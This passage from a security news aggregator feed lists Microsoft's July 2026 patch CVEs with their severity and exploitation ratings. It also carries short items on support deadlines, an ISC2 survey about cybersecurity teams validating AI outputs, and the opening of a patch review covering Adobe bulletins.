Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50333">CVE-2026-50333</a></td><td><p>Windows Spaceport.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50298">CVE-2026-50298</a></td><td><p>Windows Spaceport.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49171">CVE-2026-49171</a></td><td><p>Windows Speech Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49170">CVE-2026-49170</a></td><td><p>Windows StateRepository API Server file Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58526">CVE-2026-58526</a></td><td><p>Windows Storage Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50299">CVE-2026-50299</a></td><td><p>Windows Storage Spaces Direct Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50418">CVE-2026-50418</a></td><td><p>Windows System Secure Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50306">CVE-2026-50306</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50307">CVE-2026-50307</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49177">CVE-2026-49177</a></td><td><p>Windows TCP/IP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54999">CVE-2026-54999</a></td><td><p>Windows TCP/IP Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50669">CVE-2026-50669</a></td><td><p>Windows Telephony Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54124">CVE-2026-54124</a></td><td><p>Windows Terminal Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50350">CVE-2026-50350</a></td><td><p>Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50326">CVE-2026-50326</a></td><td><p>Windows Unified Consent System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49790">CVE-2026-49790</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50498">CVE-2026-50498</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58547">CVE-2026-58547</a></td><td><p>Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49794">CVE-2026-49794</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50453">CVE-2026-50453</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58528">CVE-2026-58528</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50321">CVE-2026-50321</a></td><td><p>Windows USB Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50479">CVE-2026-50479</a></td><td><p>Windows USB Hub Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55000">CVE-2026-55000</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54991">CVE-2026-54991</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54996">CVE-2026-54996</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49802">CVE-2026-49802</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49806">CVE-2026-49806</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50674">CVE-2026-50674</a></td><td><p>Windows USB Print Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49804">CVE-2026-49804</a></td><td><p>Windows USB Video Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50454">CVE-2026-50454</a></td><td><p>Windows User Interface Core Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49176">CVE-2026-49176</a></td><td><p>Windows WalletService Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49800">CVE-2026-49800</a></td><td><p>Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50480">CVE-2026-50480</a></td><td><p>Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56173">CVE-2026-56173</a></td><td><p>Windows WebView Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58632">CVE-2026-58632</a></td><td><p>Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54107">CVE-2026-54107</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54986">CVE-2026-54986</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54112">CVE-2026-54112</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54114">CVE-2026-54114</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50670">CVE-2026-50670</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50688">CVE-2026-50688</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50687">CVE-2026-50687</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56176">CVE-2026-56176</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58628">CVE-2026-58628</a></td><td><p>Windows Wireless Network Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50295">CVE-2026-50295</a></td><td><p>Windows Zero Trust DNS Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50509">CVE-2026-50509</a></td><td><p>Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h2>Zero-Day Vulnerabilities: Known Exploited</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56155">CVE-2026-56155</a></td><td><p>Active Directory Federation Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56164">CVE-2026-56164</a></td><td><p>Microsoft SharePoint Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>5.3</p></td></tr></tbody></table><h2>Zero-Day Vulnerabilities: Publicly Disclosed (No known exploitation)</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50661">CVE-2026-50661</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>Yes</p></td><td><p>6.1</p></td></tr></tbody></table><h2>Critical RCEs</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56159">CVE-2026-56159</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48561">CVE-2026-48561</a></td><td><p>Microsoft Copilot Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55944">CVE-2026-55944</a></td><td><p>Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55008">CVE-2026-55008</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50522">CVE-2026-50522</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58644">CVE-2026-58644</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55040">CVE-2026-55040</a></td><td><p>Microsoft SharePoint Server Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57092">CVE-2026-57092</a></td><td><p>Microsoft Windows VMSwitch Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55010">CVE-2026-55010</a></td><td><p>Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54990">CVE-2026-54990</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56190">CVE-2026-56190</a></td><td><p>Remote Desktop Protocol Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42990">CVE-2026-42990</a></td><td><p>SQL Server ODBC driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50518">CVE-2026-50518</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49172">CVE-2026-49172</a></td><td><p>Windows FTP Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50380">CVE-2026-50380</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49798">CVE-2026-49798</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50447">CVE-2026-50447</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56188">CVE-2026-56188</a></td><td><p>Windows Server Network driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr></tbody></table><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft’s 2026 Support Deadlines Explained: Everything You Need to Know]]></title>
<description><![CDATA[Microsoft's 2026 lifecycle schedule includes major support deadlines for Windows, Office, SQL Server, SharePoint, and Azure services.
The post Microsoft’s 2026 Support Deadlines Explained: Everything You Need to Know appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3669036/it-nachrichten/microsofts-2026-support-deadlines-explained-everything-you-need-to-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669036/it-nachrichten/microsofts-2026-support-deadlines-explained-everything-you-need-to-know/</guid>
<pubDate>Tue, 14 Jul 2026 22:01:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft's 2026 lifecycle schedule includes major support deadlines for Windows, Office, SQL Server, SharePoint, and Azure services.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-microsoft-2026-support-deadlines/">Microsoft’s 2026 Support Deadlines Explained: Everything You Need to Know</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security Hub adds AI workload protection and multicloud support for Microsoft Azure]]></title>
<description><![CDATA[Security Hub is our foundation for full-stack enterprise security across clouds. It centralizes your security operations and turns raw signals into prioritized insights, so your team spends its time managing real risk instead of stitching tools together. Today that foundation…
Read more →
The pos...]]></description>
<link>https://tsecurity.de/de/3669023/it-security-nachrichten/security-hub-adds-ai-workload-protection-and-multicloud-support-for-microsoft-azure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669023/it-security-nachrichten/security-hub-adds-ai-workload-protection-and-multicloud-support-for-microsoft-azure/</guid>
<pubDate>Tue, 14 Jul 2026 21:52:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Security Hub is our foundation for full-stack enterprise security across clouds. It centralizes your security operations and turns raw signals into prioritized insights, so your team spends its time managing real risk instead of stitching tools together. Today that foundation…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/security-hub-adds-ai-workload-protection-and-multicloud-support-for-microsoft-azure/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/security-hub-adds-ai-workload-protection-and-multicloud-support-for-microsoft-azure/">Security Hub adds AI workload protection and multicloud support for Microsoft Azure</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ISC2: AI raises accountability demands for cybersecurity teams]]></title>
<description><![CDATA[Artificial intelligence is changing how cybersecurity teams work, with security professionals spending more time validating AI-generated recommendations and deciding when to trust AI outputs, according to new research from ISC2.



The ISC2 survey of 856 cybersecurity professionals found that 65%...]]></description>
<link>https://tsecurity.de/de/3668992/it-security-nachrichten/isc2-ai-raises-accountability-demands-for-cybersecurity-teams/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668992/it-security-nachrichten/isc2-ai-raises-accountability-demands-for-cybersecurity-teams/</guid>
<pubDate>Tue, 14 Jul 2026 21:38:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4195712/ai-job-titles-expand-beyond-tech-as-it-hiring-remains-strong.html" target="_blank">Artificial intelligence</a> is changing how cybersecurity teams work, with security professionals spending more time validating AI-generated recommendations and deciding when to trust AI outputs, according to new research from <a href="https://www.isc2.org/" target="_blank" rel="noreferrer noopener">ISC2</a>.</p>



<p class="wp-block-paragraph">The <a href="https://www.isc2.org/Insights/2026/07/rethinking-ai-impact-on-cybersecurity-roles" target="_blank" rel="noreferrer noopener">ISC2 survey of 856 cybersecurity professionals</a> found that 65% spent more time deciding when to trust or act on AI-generated recommendations during the past year, while 63% reported spending more time reviewing or validating AI outputs. The study also found that AI-related mistakes remain common. Nearly nine in 10 respondents (89%) said they have experienced AI recommendations that led to incorrect outcomes, and 50% said human decision-makers are ultimately held accountable when those mistakes occur.</p>



<p class="wp-block-paragraph">“AI is not replacing cybersecurity professionals; it is changing what the profession requires of them,” ISC2 CEO Scott Beale said in a <a href="https://www.prnewswire.com/news-releases/isc2-research-finds-ai-is-reshaping-cybersecurity-roles-and-increasing-human-oversight-302822455.html" target="_blank" rel="noreferrer noopener">statement</a>. “As AI takes on more repetitive tasks, cybersecurity roles are shifting toward higher-value work, from asking the right questions to validating findings, interpreting outputs, and applying human judgment.”</p>



<p class="wp-block-paragraph">The ISC2 survey also revealed that: </p>



<ul class="wp-block-list">
<li>48% said AI has reduced workplace stress.</li>



<li>32% said it has increased stress.</li>



<li>62% cited overreliance on AI recommendations as a top concern.</li>



<li>61% cited undetected errors that could scale rapidly across systems as a top concern.</li>
</ul>



<p class="wp-block-paragraph">Many <a href="https://www.networkworld.com/article/4174188/ai-reshapes-cybersecurity-workforce-priorities-as-it-teams-brace-for-new-risks.html" target="_blank">cybersecurity professionals</a> are expected to act on AI-generated outputs without fully understanding how those outputs were produced, ISC2 found. Nearly a quarter of respondents (24%) said they are often or very often expected to act on AI-generated outputs without fully understanding how those outputs were produced. Still, respondents emphasized the importance of governance and oversight. About 80% said governance frameworks, understanding when to trust AI outputs, and knowing when to override recommendations are critical for effective AI use.</p>



<p class="wp-block-paragraph">Views on AI’s effect on <a href="http://networkworld.com/article/4065877/7-sase-certifications-to-validate-converged-network-and-security-skills.html" target="_blank">cybersecurity careers</a> are mixed: More than half of respondents (56%) said AI has reduced the need for entry-level positions, but 53% said AI is creating new types of entry-level roles. Nearly half (48%) said AI has made them more optimistic about their long-term cybersecurity careers.</p>



<p class="wp-block-paragraph">Despite increased AI adoption, respondents said foundational cybersecurity <a href="https://www.networkworld.com/article/2093749/network-jobs-watch-hiring-skills-and-certification-trends.html" target="_blank">skills</a> remain important. Nearly two-thirds (62%) said AI has not reduced the need for core <a href="https://www.networkworld.com/article/4172576/ai-cybersecurity-skills-top-it-pay-premiums.html" target="_blank">cybersecurity skills</a>. Respondents also cited determining when to trust AI outputs (82%), understanding when to override recommendations (80%), and establishing governance frameworks (80%) as critical factors for effective AI use.</p>



<p class="wp-block-paragraph">“This evolution is not limited to entry-level roles. It changes how work is distributed across security teams, making continued investment in governance, validation practices, mentoring, and skills development essential at every level,” Beale said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft-Aktie unter Druck: Bericht Ende Juli entscheidet über Azure- - Goldesel]]></title>
<description><![CDATA[Sein Intelligent Cloud-Segment lizenziert SQL, Windows Server, Visual Studio, System Center und zugehörige CALs; GitHub, das eine ...]]></description>
<link>https://tsecurity.de/de/3668907/windows-server/microsoft-aktie-unter-druck-bericht-ende-juli-entscheidet-ueber-azure-goldesel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668907/windows-server/microsoft-aktie-unter-druck-bericht-ende-juli-entscheidet-ueber-azure-goldesel/</guid>
<pubDate>Tue, 14 Jul 2026 20:31:05 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sein Intelligent Cloud-Segment lizenziert SQL, <b>Windows Server</b>, Visual Studio, System Center und zugehörige CALs; GitHub, das eine ...]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3668876/it-security-nachrichten/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668876/it-security-nachrichten/the-july-2026-security-update-review/</guid>
<pubDate>Tue, 14 Jul 2026 20:22:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our <a href="https://www.youtube.com/playlist?list=PLeFSM_a8Jri75_5-NpydcFneOaTvr3vJE">YouTube</a> channel. It should be posted within a couple of hours after the release.</p><p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
